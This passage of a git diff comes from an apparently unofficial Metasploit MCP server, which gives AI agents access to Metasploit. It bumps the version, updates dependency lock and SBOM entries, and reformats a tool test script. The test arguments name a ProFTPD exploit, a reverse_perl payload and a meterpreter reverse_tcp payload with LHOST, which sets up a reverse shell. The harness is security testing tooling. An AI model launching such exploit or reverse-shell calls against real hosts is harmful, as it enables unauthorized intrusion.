"pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:87b31b6846e361ef83fedb187bb5b4372d0da3f7e28d85415efa92d6125d6e6d"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa9d91b338f2df0508606f7009fde642391425189bba6d8c653afd80fd6bb64e"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2058a32994f1fde4ca0480ab9d1e75a0e8c87c22b53a3ae66554f9af78f2fe8c"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:0e03262ab796d986f978f79c943fc5f620381be7287148b8010b4097f79a39ec"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:1a8695a8d00c73e50bff9dfda4d540b7dee29ff9b8053e38380426a85ef10052"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:fa754d1850735a0b0e03bcffd9d4b4343eb417e47196e4485d9cca326073a42c"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:a11c8d26a50bfab49002947d3d237abe4d9e4b5bdc8846a63537b6488e197808"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:dd14041875d09cc0f9308e37a6f8b65f5585cf2598a53aa0123df8b129d481f8"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:d87c561733f66531dced0da6e864f44ebf89a8fba55f31407b00c2f7f9449593"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2f82865531efd18d6e07a04a17331af02cb7a651583c418df8266f17a63c6612"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bfb5112df54209d820d7bf9317c7a6c9025ea52e49f46b6a2060104bba37de7"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:64632ff9d614e5eecfb495796ad51b0ed98c453e447a76bcbeeb69615079fc7e"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:f889f7a40498cc077332c7ab6b4608d296d852182211787d4f3ee377aaae66e8"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:de4b83bb311557e439b9e186f733f6c645b9417c84e2eb8203f3f820a4b988bf"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:82f68293f055f51b51ea42fafc74b6aad03e70e191799430b90c13d643059ebb"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:329467cecfb529c925cf2bbd4d60d2c509bc2fb52a20c1045bf09bb70971a9c1"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:87acbfcf8e90ca885206e98359d7dca4bcbb35abdc0ff66672a293e1d7a19101"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:7f92c15cd1e97d4b12acd1cc9004fa092578acfa57b67ad5e43a197175d01a64"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d3f26877a748dc4251cfcfda9dfb5f13fcb034f5308388066bcfe9031b63ae7d"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dac89aea9af8cd672fa7b510e7b8c33b0bba9a43186680550ccf23020f32d535"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:970919794d126ba8645f3837ab6046fb4e72bbc057b3709144066204c19a455d"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:3eb3fe62804e8f859c49ed20a8451342de53ed764150cb14ca71357c765dc2a6"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:3abcd9392a36025e3bd55f9bd38d908bd17962cc49bc6da8e7e96285336e2bca"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:3a1c81334778f9e3af2f8aeb7a960736e5cab1dfebfb26aabca09afd2906c039"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:2807668ba86cb38c6817ad9bc66215ab8584d1d304030ce4f0887336f28a5e27"}, - {file = "pydantic_core-2.33.2.tar.gz", hash = "sha256:7cb8bc3605c29176e1b105350d2e6474142d7c1bd1d9327c4a9bdb46bf827acc"}, -] - -[package.dependencies] -typing-extensions = ">=4.6.0,<4.7.0 || >4.7.0" - [[package]] name = "pydantic-core" version = "2.46.4" @@ -2216,7 +2108,6 @@ description = "Core functionality for Pydantic validation and serialization" optional = false python-versions = ">=3.9" groups = ["main", "dev"] -markers = "python_version >= \"3.14\"" files = [ {file = "pydantic_core-2.46.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4"}, {file = "pydantic_core-2.46.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5"}, diff --git a/pyproject.toml b/pyproject.toml index 143795a..0a7eaf0 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "metasploit-mcp" -version = "3.0.1" +version = "3.1.0" description = "Unofficial Metasploit MCP Server (not affiliated with or endorsed by Rapid7) - provides Metasploit Framework functionality via the Model Context Protocol. A fork of GH05TCREW/MetasploitMCP." authors = [ "GH05TCREW ", @@ -37,6 +37,9 @@ fastapi = ">=0.95.0" uvicorn = {extras = ["standard"], version = ">=0.22.0"} pymetasploit3 = ">=1.0.6" mcp = ">=1.28.1" +# Cap retained at <3.4.0: fastmcp 3.4.x fails to import in this environment +# ("cannot import name 'FastMCP' from 'fastmcp'"), even on a clean reinstall. +# 3.3.x works and passes the full suite. Re-evaluate when 3.4.x import is fixed. fastmcp = ">=2.10.3,<3.4.0" psutil = "^7.1.3" diff --git a/sbom.json b/sbom.json index f5a2490..8b804f4 100644 --- a/sbom.json +++ b/sbom.json @@ -1,16 +1,16 @@ { "bomFormat": "CycloneDX", "specVersion": "1.5", - "serialNumber": "urn:uuid:07f5a47d-3396-1492-524b-2bf9a9a7d02c", + "serialNumber": "urn:uuid:7fa52a91-a4f0-cfa1-8a57-5f752eff1e27", "version": 1, "metadata": { "component": { "type": "application", - "bom-ref": "pkg:pypi/metasploit-mcp@3.0.1", + "bom-ref": "pkg:pypi/metasploit-mcp@3.1.0", "name": "metasploit-mcp", - "version": "3.0.1", + "version": "3.1.0", "description": "Unofficial Metasploit MCP Server (not affiliated with or endorsed by Rapid7) - provides Metasploit Framework functionality via the Model Context Protocol. A fork of GH05TCREW/MetasploitMCP.", - "purl": "pkg:pypi/metasploit-mcp@3.0.1", + "purl": "pkg:pypi/metasploit-mcp@3.1.0", "licenses": [ { "license": { @@ -479,10 +479,10 @@ }, { "type": "library", - "bom-ref": "pkg:pypi/fastmcp@3.2.4", + "bom-ref": "pkg:pypi/fastmcp@3.3.1", "name": "fastmcp", - "version": "3.2.4", - "purl": "pkg:pypi/fastmcp@3.2.4", + "version": "3.3.1", + "purl": "pkg:pypi/fastmcp@3.3.1", "scope": "required", "properties": [ { @@ -492,6 +492,21 @@ ], "description": "The fast, Pythonic way to build MCP servers and clients." }, + { + "type": "library", + "bom-ref": "pkg:pypi/fastmcp-slim@3.3.1", + "name": "fastmcp-slim", + "version": "3.3.1", + "purl": "pkg:pypi/fastmcp-slim@3.3.1", + "scope": "required", + "properties": [ + { + "name": "poetry:groups", + "value": "main" + } + ], + "description": "The dependency-slim FastMCP package." + }, { "type": "library", "bom-ref": "pkg:pypi/filelock@3.29.5", @@ -1272,21 +1287,6 @@ ], "description": "C parser in Python" }, - { - "type": "library", - "bom-ref": "pkg:pypi/pydantic@2.11.9", - "name": "pydantic", - "version": "2.11.9", - "purl": "pkg:pypi/pydantic@2.11.9", - "scope": "required", - "properties": [ - { - "name": "poetry:groups", - "value": "main,dev" - } - ], - "description": "Data validation using Python type hints" - }, { "type": "library", "bom-ref": "pkg:pypi/pydantic@2.13.4", @@ -1302,21 +1302,6 @@ ], "description": "Data validation using Python type hints" }, - { - "type": "library", - "bom-ref": "pkg:pypi/pydantic-core@2.33.2", - "name": "pydantic-core", - "version": "2.33.2", - "purl": "pkg:pypi/pydantic-core@2.33.2", - "scope": "required", - "properties": [ - { - "name": "poetry:groups", - "value": "main,dev" - } - ], - "description": "Core functionality for Pydantic validation and serialization" - }, { "type": "library", "bom-ref": "pkg:pypi/pydantic-core@2.46.4", @@ -1980,7 +1965,7 @@ ], "dependencies": [ { - "ref": "pkg:pypi/metasploit-mcp@3.0.1", + "ref": "pkg:pypi/metasploit-mcp@3.1.0", "dependsOn": [ "pkg:pypi/aiofile@3.9.0", "pkg:pypi/annotated-doc@0.0.4", @@ -2012,7 +1997,8 @@ "pkg:pypi/email-validator@2.3.0", "pkg:pypi/exceptiongroup@1.3.0", "pkg:pypi/fastapi@0.136.1", - "pkg:pypi/fastmcp@3.2.4", + "pkg:pypi/fastmcp-slim@3.3.1", + "pkg:pypi/fastmcp@3.3.1", "pkg:pypi/filelock@3.29.5", "pkg:pypi/flake8@7.3.0", "pkg:pypi/griffelib@2.0.2", @@ -2065,10 +2051,8 @@ "pkg:pypi/py@1.11.0", "pkg:pypi/pycodestyle@2.14.0", "pkg:pypi/pycparser@2.23", - "pkg:pypi/pydantic-core@2.33.2", "pkg:pypi/pydantic-core@2.46.4", "pkg:pypi/pydantic-settings@2.11.0", - "pkg:pypi/pydantic@2.11.9", "pkg:pypi/pydantic@2.13.4", "pkg:pypi/pyflakes@3.4.0", "pkg:pypi/pygments@2.20.0", diff --git a/scripts/bump_version.py b/scripts/bump_version.py index b4fb4eb..bab39e4 100644 --- a/scripts/bump_version.py +++ b/scripts/bump_version.py @@ -14,7 +14,9 @@ def bump_semver(version: str, part: str) -> str: """Return a bumped semantic version string.""" match = re.fullmatch(r"(\d+)\.(\d+)\.(\d+)", version) if not match: - raise ValueError(f"Invalid semantic version '{version}'. Expected format MAJOR.MINOR.PATCH.") + raise ValueError( + f"Invalid semantic version '{version}'. Expected format MAJOR.MINOR.PATCH." + ) major, minor, patch = (int(group) for group in match.groups()) if part == "major": @@ -50,7 +52,7 @@ def bump_pyproject_version(pyproject_path: Path, part: str) -> str: current_version = ".".join(match.groups()[1:4]) new_version = bump_semver(current_version, part) - replacement = f'{match.group(1)}{new_version}{match.group(5)}' + replacement = f"{match.group(1)}{new_version}{match.group(5)}" updated_content = VERSION_LINE_RE.sub(replacement, content, count=1) pyproject_path.write_text(updated_content, encoding="utf-8") return new_version diff --git a/scripts/comprehensive_tool_test.py b/scripts/comprehensive_tool_test.py index 3a0b280..d861672 100644 --- a/scripts/comprehensive_tool_test.py +++ b/scripts/comprehensive_tool_test.py @@ -48,8 +48,7 @@ # --- Configuration --- logging.basicConfig( - level=logging.INFO, - format='%(asctime)s - %(name)s - %(levelname)s - %(message)s' + level=logging.INFO, format="%(asctime)s - %(name)s - %(levelname)s - %(message)s" ) logger = logging.getLogger("comprehensive_tool_test") @@ -64,6 +63,7 @@ class TestStatus(Enum): @dataclass class TestResult: """Result of a single tool test.""" + tool_name: str test_name: str status: TestStatus @@ -75,77 +75,72 @@ class TestResult: class MetasploitMCPTestClient: """MCP client for testing MetasploitMCP tools.""" - + def __init__(self, mcp_url: str = "http://127.0.0.1:5555/mcp", use_gateway: bool = False): """Initialize MCP test client.""" - self.mcp_url = mcp_url.rstrip('/') + self.mcp_url = mcp_url.rstrip("/") self.use_gateway = use_gateway self.tool_prefix = "metasploit_" if use_gateway else "" - - tools_config = { - "metasploit": { - "url": self.mcp_url, - "transport": "streamable_http" - } - } - + + tools_config = {"metasploit": {"url": self.mcp_url, "transport": "streamable_http"}} + self.client = MultiServerMCPClient(tools_config) self._tools = None - + server_type = "ExploitMCP Gateway" if use_gateway else "MetasploitMCP Server" logger.info(f"Initialized test client for {server_type}: {self.mcp_url}") - + async def close(self): """Close the MCP client.""" pass - + async def _ensure_tools_loaded(self): """Ensure tools are loaded from MCP server.""" if self._tools is None: logger.debug("Loading tools from MCP server...") self._tools = await self.client.get_tools() logger.info(f"Loaded {len(self._tools)} tools from MCP server") - + async def get_available_tools(self) -> List[str]: """Get list of available tool names.""" await self._ensure_tools_loaded() return [t.name for t in self._tools] - + async def call_tool(self, tool_name: str, arguments: Dict[str, Any] = None) -> Dict[str, Any]: """Call an MCP tool.""" actual_tool_name = f"{self.tool_prefix}{tool_name}" arguments = arguments or {} - + logger.info(f"Calling tool: {actual_tool_name} with args: {arguments}") - + await self._ensure_tools_loaded() - + tool = None for t in self._tools: if t.name == actual_tool_name: tool = t break - + if not tool: available = [t.name for t in self._tools] raise Exception(f"Tool '{actual_tool_name}' not found. Available: {available[:10]}...") - + result = await tool.ainvoke(arguments) logger.info(f"Tool response: {str(result)}") - + return {"success": True, "data": result} class ComprehensiveToolTester: """Comprehensive tester for all MetasploitMCP tools.""" - + def __init__( self, target_ip: str, lhost: str, lport: int = 4444, mcp_url: str = "http://127.0.0.5555/mcp", - use_gateway: bool = False + use_gateway: bool = False, ): """Initialize comprehensive tester.""" self.target_ip = target_ip @@ -154,13 +149,13 @@ def __init__( self.mcp_client = MetasploitMCPTestClient(mcp_url, use_gateway) self.results: List[TestResult] = [] self.current_session_id: Optional[int] = None - + logger.info(f"Comprehensive Tool Tester initialized:") logger.info(f" Target: {target_ip}") logger.info(f" LHOST: {lhost}") logger.info(f" LPORT: {lport}") logger.info(f" MCP URL: {mcp_url}") - + def _parse_result(self, result: Any) -> Dict[str, Any]: """Parse tool result into a dictionary.""" if isinstance(result, dict): @@ -179,32 +174,32 @@ def _parse_result(self, result: Any) -> Dict[str, Any]: except json.JSONDecodeError: return {"raw": result} return {"raw": str(result)} - + async def _run_test( self, tool_name: str, test_name: str, tool_args: Dict[str, Any] = None, expected_status: str = "success", - validate_fn: callable = None + validate_fn: callable = None, ) -> TestResult: """Run a single tool test.""" start_time = datetime.now() - + try: logger.info(f"\n{'='*60}") logger.info(f"Testing: {tool_name} - {test_name}") logger.info(f"{'='*60}") - + result = await self.mcp_client.call_tool(tool_name, tool_args) parsed = self._parse_result(result) - + duration = (datetime.now() - start_time).total_seconds() - + # Check status if applicable status = TestStatus.PASSED message = "Tool executed successfully" - + if isinstance(parsed, dict): actual_status = parsed.get("status", "unknown") if expected_status and actual_status != expected_status: @@ -219,7 +214,7 @@ async def _run_test( else: status = TestStatus.FAILED message = f"Expected status '{expected_status}', got '{actual_status}': {parsed.get('message', '')}" - + # Run custom validation if provided if validate_fn and status != TestStatus.FAILED: try: @@ -230,53 +225,55 @@ async def _run_test( except Exception as ve: status = TestStatus.WARNING message = f"Validation error: {ve}" - + logger.info(f"✓ {tool_name}: {status.value} - {message}") - + return TestResult( tool_name=tool_name, test_name=test_name, status=status, message=message, duration_seconds=duration, - details=parsed + details=parsed, ) - + except Exception as e: duration = (datetime.now() - start_time).total_seconds() error_msg = f"{str(e)}\n{traceback.format_exc()}" logger.error(f"✗ {tool_name}: FAILED - {str(e)}") - + return TestResult( tool_name=tool_name, test_name=test_name, status=TestStatus.FAILED, message=str(e), duration_seconds=duration, - error=error_msg + error=error_msg, ) - + # ========================================================================== # Test Methods for Each Tool # ========================================================================== - + async def test_health_check(self) -> TestResult: """Test 1: health_check tool.""" + def validate(result): if "msf_version" in result: return True, "MSF version found" return False, "MSF version not in response" - + return await self._run_test( tool_name="health_check", test_name="Check Metasploit RPC connectivity", tool_args={}, expected_status="ok", - validate_fn=validate + validate_fn=validate, ) - + async def test_list_exploits_no_filter(self) -> TestResult: """Test 2a: list_exploits without filter.""" + def validate(result): if isinstance(result, dict) and "raw" in result: raw = result["raw"] @@ -285,17 +282,18 @@ def validate(result): if isinstance(result, list) and len(result) > 0: return True, f"Found {len(result)} exploits" return False, "No exploits returned" - + return await self._run_test( tool_name="list_exploits", test_name="List exploits without filter", tool_args={"search_term": ""}, expected_status=None, # Returns list directly - validate_fn=validate + validate_fn=validate, ) - + async def test_list_exploits_with_filter(self) -> TestResult: """Test 2b: list_exploits with search filter.""" + def validate(result): raw = result.get("raw", result) if isinstance(result, dict) else result if isinstance(raw, list): @@ -303,17 +301,18 @@ def validate(result): if matching: return True, f"Found ProFTPD exploits: {matching}" return False, "ProFTPD exploit not found" - + return await self._run_test( tool_name="list_exploits", test_name="List exploits with 'proftpd' filter", tool_args={"search_term": "proftpd"}, expected_status=None, - validate_fn=validate + validate_fn=validate, ) - + async def test_list_payloads_by_platform(self) -> TestResult: """Test 3a: list_payloads by platform.""" + def validate(result): raw = result.get("raw", result) if isinstance(result, dict) else result if isinstance(raw, list) and len(raw) > 0: @@ -321,17 +320,18 @@ def validate(result): if linux_payloads: return True, f"Found {len(linux_payloads)} linux payloads" return False, "No linux payloads returned" - + return await self._run_test( tool_name="list_payloads", test_name="List payloads for linux platform", tool_args={"platform": "linux"}, expected_status=None, - validate_fn=validate + validate_fn=validate, ) - + async def test_list_payloads_for_exploit(self) -> TestResult: """Test 3b: list_payloads compatible with exploit module.""" + def validate(result): raw = result.get("raw", result) if isinstance(result, dict) else result if isinstance(raw, list) and len(raw) > 0: @@ -339,36 +339,36 @@ def validate(result): if isinstance(raw, list) and len(raw) == 1 and "Error" in str(raw[0]): return False, str(raw[0]) return False, "No compatible payloads returned" - + return await self._run_test( tool_name="list_payloads", test_name="List payloads compatible with proftpd_modcopy_exec", tool_args={"exploit_module": "unix/ftp/proftpd_modcopy_exec"}, expected_status=None, - validate_fn=validate + validate_fn=validate, ) - + async def test_list_payloads_proftpd_debug(self) -> TestResult: """ Test 3c: Debug test for proftpd_modcopy_exec payload listing issue. - + This test investigates why list_payloads returns 0 payloads when filters are applied. Tests multiple filter combinations to identify the root cause. """ start_time = datetime.now() exploit_module = "unix/ftp/proftpd_modcopy_exec" test_results = [] - + # Test 1: No filters (baseline - should return payloads) logger.info(f"\n{'='*60}") logger.info("DEBUG TEST: proftpd_modcopy_exec payload listing") logger.info(f"{'='*60}") logger.info("Test 1: list_payloads with exploit_module only (no filters)") - + try: - result1 = await self.mcp_client.call_tool("list_payloads", { - "exploit_module": exploit_module - }) + result1 = await self.mcp_client.call_tool( + "list_payloads", {"exploit_module": exploit_module} + ) parsed1 = self._parse_result(result1) raw1 = parsed1.get("raw", parsed1) if isinstance(parsed1, dict) else parsed1 count1 = len(raw1) if isinstance(raw1, list) else 0 @@ -379,14 +379,13 @@ async def test_list_payloads_proftpd_debug(self) -> TestResult: except Exception as e: logger.error(f" Error: {e}") test_results.append(("No filters", -1, f"Error: {e}")) - + # Test 2: Platform='unix' filter logger.info("\nTest 2: list_payloads with exploit_module + platform='unix'") try: - result2 = await self.mcp_client.call_tool("list_payloads", { - "exploit_module": exploit_module, - "platform": "unix" - }) + result2 = await self.mcp_client.call_tool( + "list_payloads", {"exploit_module": exploit_module, "platform": "unix"} + ) parsed2 = self._parse_result(result2) raw2 = parsed2.get("raw", parsed2) if isinstance(parsed2, dict) else parsed2 count2 = len(raw2) if isinstance(raw2, list) else 0 @@ -397,14 +396,13 @@ async def test_list_payloads_proftpd_debug(self) -> TestResult: except Exception as e: logger.error(f" Error: {e}") test_results.append(("Platform=unix", -1, f"Error: {e}")) - + # Test 3: Platform='linux' filter logger.info("\nTest 3: list_payloads with exploit_module + platform='linux'") try: - result3 = await self.mcp_client.call_tool("list_payloads", { - "exploit_module": exploit_module, - "platform": "linux" - }) + result3 = await self.mcp_client.call_tool( + "list_payloads", {"exploit_module": exploit_module, "platform": "linux"} + ) parsed3 = self._parse_result(result3) raw3 = parsed3.get("raw", parsed3) if isinstance(parsed3, dict) else parsed3 count3 = len(raw3) if isinstance(raw3, list) else 0 @@ -415,52 +413,53 @@ async def test_list_payloads_proftpd_debug(self) -> TestResult: except Exception as e: logger.error(f" Error: {e}") test_results.append(("Platform=linux", -1, f"Error: {e}")) - + # Test 4: Platform='unix' + arch='x86' logger.info("\nTest 4: list_payloads with exploit_module + platform='unix' + arch='x86'") try: - result4 = await self.mcp_client.call_tool("list_payloads", { - "exploit_module": exploit_module, - "platform": "unix", - "arch": "x86" - }) + result4 = await self.mcp_client.call_tool( + "list_payloads", + {"exploit_module": exploit_module, "platform": "unix", "arch": "x86"}, + ) parsed4 = self._parse_result(result4) raw4 = parsed4.get("raw", parsed4) if isinstance(parsed4, dict) else parsed4 count4 = len(raw4) if isinstance(raw4, list) else 0 logger.info(f" Result: {count4} payloads returned") if isinstance(raw4, list) and count4 > 0: logger.info(f" Sample payloads: {raw4[:5]}") - test_results.append(("Platform=unix, Arch=x86", count4, raw4 if isinstance(raw4, list) else [])) + test_results.append( + ("Platform=unix, Arch=x86", count4, raw4 if isinstance(raw4, list) else []) + ) except Exception as e: logger.error(f" Error: {e}") test_results.append(("Platform=unix, Arch=x86", -1, f"Error: {e}")) - + # Test 5: Platform='linux' + arch='x86' logger.info("\nTest 5: list_payloads with exploit_module + platform='linux' + arch='x86'") try: - result5 = await self.mcp_client.call_tool("list_payloads", { - "exploit_module": exploit_module, - "platform": "linux", - "arch": "x86" - }) + result5 = await self.mcp_client.call_tool( + "list_payloads", + {"exploit_module": exploit_module, "platform": "linux", "arch": "x86"}, + ) parsed5 = self._parse_result(result5) raw5 = parsed5.get("raw", parsed5) if isinstance(parsed5, dict) else parsed5 count5 = len(raw5) if isinstance(raw5, list) else 0 logger.info(f" Result: {count5} payloads returned") if isinstance(raw5, list) and count5 > 0: logger.info(f" Sample payloads: {raw5[:5]}") - test_results.append(("Platform=linux, Arch=x86", count5, raw5 if isinstance(raw5, list) else [])) + test_results.append( + ("Platform=linux, Arch=x86", count5, raw5 if isinstance(raw5, list) else []) + ) except Exception as e: logger.error(f" Error: {e}") test_results.append(("Platform=linux, Arch=x86", -1, f"Error: {e}")) - + # Test 6: Arch='x86' only (no platform filter) logger.info("\nTest 6: list_payloads with exploit_module + arch='x86' (no platform)") try: - result6 = await self.mcp_client.call_tool("list_payloads", { - "exploit_module": exploit_module, - "arch": "x86" - }) + result6 = await self.mcp_client.call_tool( + "list_payloads", {"exploit_module": exploit_module, "arch": "x86"} + ) parsed6 = self._parse_result(result6) raw6 = parsed6.get("raw", parsed6) if isinstance(parsed6, dict) else parsed6 count6 = len(raw6) if isinstance(raw6, list) else 0 @@ -471,7 +470,7 @@ async def test_list_payloads_proftpd_debug(self) -> TestResult: except Exception as e: logger.error(f" Error: {e}") test_results.append(("Arch=x86 only", -1, f"Error: {e}")) - + # Summary logger.info(f"\n{'='*60}") logger.info("DEBUG TEST SUMMARY") @@ -487,7 +486,7 @@ async def test_list_payloads_proftpd_debug(self) -> TestResult: logger.warning(f" {test_name}: 0 payloads (THIS IS THE PROBLEM)") else: logger.error(f" {test_name}: {payloads}") - + # Determine test status baseline_count = test_results[0][1] if test_results else 0 if baseline_count > 0: @@ -505,101 +504,94 @@ async def test_list_payloads_proftpd_debug(self) -> TestResult: else: status = TestStatus.FAILED message = f"Baseline query (no filters) returned {baseline_count} payloads. Exploit may not have compatible payloads or there's an issue with module.payloads call." - + duration = (datetime.now() - start_time).total_seconds() - + return TestResult( tool_name="list_payloads", test_name="Debug proftpd_modcopy_exec payload listing", status=status, message=message, duration_seconds=duration, - details={ - "test_results": test_results, - "baseline_count": baseline_count - } + details={"test_results": test_results, "baseline_count": baseline_count}, ) - + async def test_describe_module_exploit(self) -> TestResult: """Test 4a: describe_module for exploit.""" + def validate(result): if result.get("status") == "success": if "options" in result and "description" in result: return True, f"Module '{result.get('name', 'unknown')}' described" return False, f"Module description incomplete: {result.get('message', 'unknown')}" - + return await self._run_test( tool_name="describe_module", test_name="Describe ProFTPD exploit module", - tool_args={ - "module_name": "unix/ftp/proftpd_modcopy_exec", - "module_type": "exploit" - }, + tool_args={"module_name": "unix/ftp/proftpd_modcopy_exec", "module_type": "exploit"}, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + async def test_describe_module_payload(self) -> TestResult: """Test 4b: describe_module for payload.""" + def validate(result): if result.get("status") == "success": if "options" in result: return True, f"Payload described with {len(result.get('options', {}))} options" return False, f"Payload description incomplete: {result.get('message', 'unknown')}" - + return await self._run_test( tool_name="describe_module", test_name="Describe reverse_perl payload", - tool_args={ - "module_name": "cmd/unix/reverse_perl", - "module_type": "payload" - }, + tool_args={"module_name": "cmd/unix/reverse_perl", "module_type": "payload"}, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + async def test_describe_module_auxiliary(self) -> TestResult: """Test 4c: describe_module for auxiliary.""" + def validate(result): if result.get("status") == "success": return True, f"Auxiliary module described" return False, f"Auxiliary description failed: {result.get('message', 'unknown')}" - + return await self._run_test( tool_name="describe_module", test_name="Describe FTP version scanner", - tool_args={ - "module_name": "scanner/ftp/ftp_version", - "module_type": "auxiliary" - }, + tool_args={"module_name": "scanner/ftp/ftp_version", "module_type": "auxiliary"}, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + async def test_get_module_documentation(self) -> TestResult: """Test 5: get_module_documentation.""" + # Documentation may not exist for all modules, so we accept not_found and not_available def validate(result): status = result.get("status") if status in ["success", "not_found", "not_available"]: return True, f"Documentation query returned: {status}" return False, f"Unexpected status: {status}" - + return await self._run_test( tool_name="get_module_documentation", test_name="Get module documentation", tool_args={"module_name": "exploit/unix/ftp/proftpd_modcopy_exec"}, expected_status=None, # Accept any valid response - validate_fn=validate + validate_fn=validate, ) - + async def test_run_auxiliary_module(self) -> TestResult: """Test 6: run_auxiliary_module (FTP version scan).""" + def validate(result): if result.get("status") in ["success", "warning"]: return True, "Auxiliary module executed" return False, f"Auxiliary failed: {result.get('message', 'unknown')}" - + return await self._run_test( tool_name="run_auxiliary_module", test_name="Run FTP version scanner", @@ -607,22 +599,26 @@ def validate(result): "module_name": "scanner/ftp/ftp_version", "options": {"RHOSTS": self.target_ip, "RPORT": 21}, "run_as_job": False, - "timeout_seconds": 60 + "timeout_seconds": 60, }, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + async def test_run_auxiliary_module_invalid_module(self) -> TestResult: """Test 6b: run_auxiliary_module with invalid module name (module validation).""" + def validate(result): # Should return error status immediately without waiting for timeout if result.get("status") == "error": msg = result.get("message", "") if "not found" in msg.lower() or "invalid" in msg.lower(): return True, "Module validation caught invalid module name" - return False, f"Expected error for invalid module, got: {result.get('status')} - {result.get('message', '')}" - + return ( + False, + f"Expected error for invalid module, got: {result.get('status')} - {result.get('message', '')}", + ) + return await self._run_test( tool_name="run_auxiliary_module", test_name="Run auxiliary with invalid module (validation test)", @@ -630,14 +626,15 @@ def validate(result): "module_name": "scanner/http/nonexistent_module_12345", "options": {"RHOSTS": self.target_ip, "RPORT": 80}, "run_as_job": False, - "timeout_seconds": 60 + "timeout_seconds": 60, }, expected_status="error", - validate_fn=validate + validate_fn=validate, ) - + async def test_run_auxiliary_module_failed_to_load(self) -> TestResult: """Test 6c: run_auxiliary_module with module that fails to load (early exit detection).""" + def validate(result): # Should detect "Failed to load module" early and return error # This test uses a module that might exist but fails to load @@ -649,8 +646,11 @@ def validate(result): # Also accept "not found" as valid validation if "not found" in msg: return True, "Module validation caught non-existent module" - return False, f"Expected error for failed module load, got: {result.get('status')} - {result.get('message', '')}" - + return ( + False, + f"Expected error for failed module load, got: {result.get('status')} - {result.get('message', '')}", + ) + # Use a module that might not exist or fail to load return await self._run_test( tool_name="run_auxiliary_module", @@ -659,22 +659,26 @@ def validate(result): "module_name": "scanner/http/show_robots", # This module may not exist in all MSF versions "options": {"RHOSTS": self.target_ip, "RPORT": 80}, "run_as_job": False, - "timeout_seconds": 60 + "timeout_seconds": 60, }, expected_status="error", - validate_fn=validate + validate_fn=validate, ) - + async def test_run_exploit_invalid_module(self) -> TestResult: """Test: run_exploit with invalid module name (module validation).""" + def validate(result): # Should return error status immediately without waiting for timeout if result.get("status") == "error": msg = result.get("message", "") if "not found" in msg.lower() or "invalid" in msg.lower(): return True, "Module validation caught invalid module name" - return False, f"Expected error for invalid module, got: {result.get('status')} - {result.get('message', '')}" - + return ( + False, + f"Expected error for invalid module, got: {result.get('status')} - {result.get('message', '')}", + ) + return await self._run_test( tool_name="run_exploit", test_name="Run exploit with invalid module (validation test)", @@ -684,27 +688,35 @@ def validate(result): "payload_name": "linux/x86/meterpreter/reverse_tcp", "payload_options": {"LHOST": self.lhost, "LPORT": 4444}, "run_as_job": False, - "timeout_seconds": 60 + "timeout_seconds": 60, }, expected_status="error", - validate_fn=validate + validate_fn=validate, ) - + async def test_run_exploit_failed_to_load(self) -> TestResult: """Test: run_exploit with module that fails to load (early exit detection).""" + def validate(result): # Should detect "Failed to load module" early and return error if result.get("status") == "error": msg = result.get("message", "").lower() output = result.get("module_output", "").lower() check_output = result.get("check_output", "").lower() - if "failed to load" in msg or "failed to load" in output or "failed to load" in check_output: + if ( + 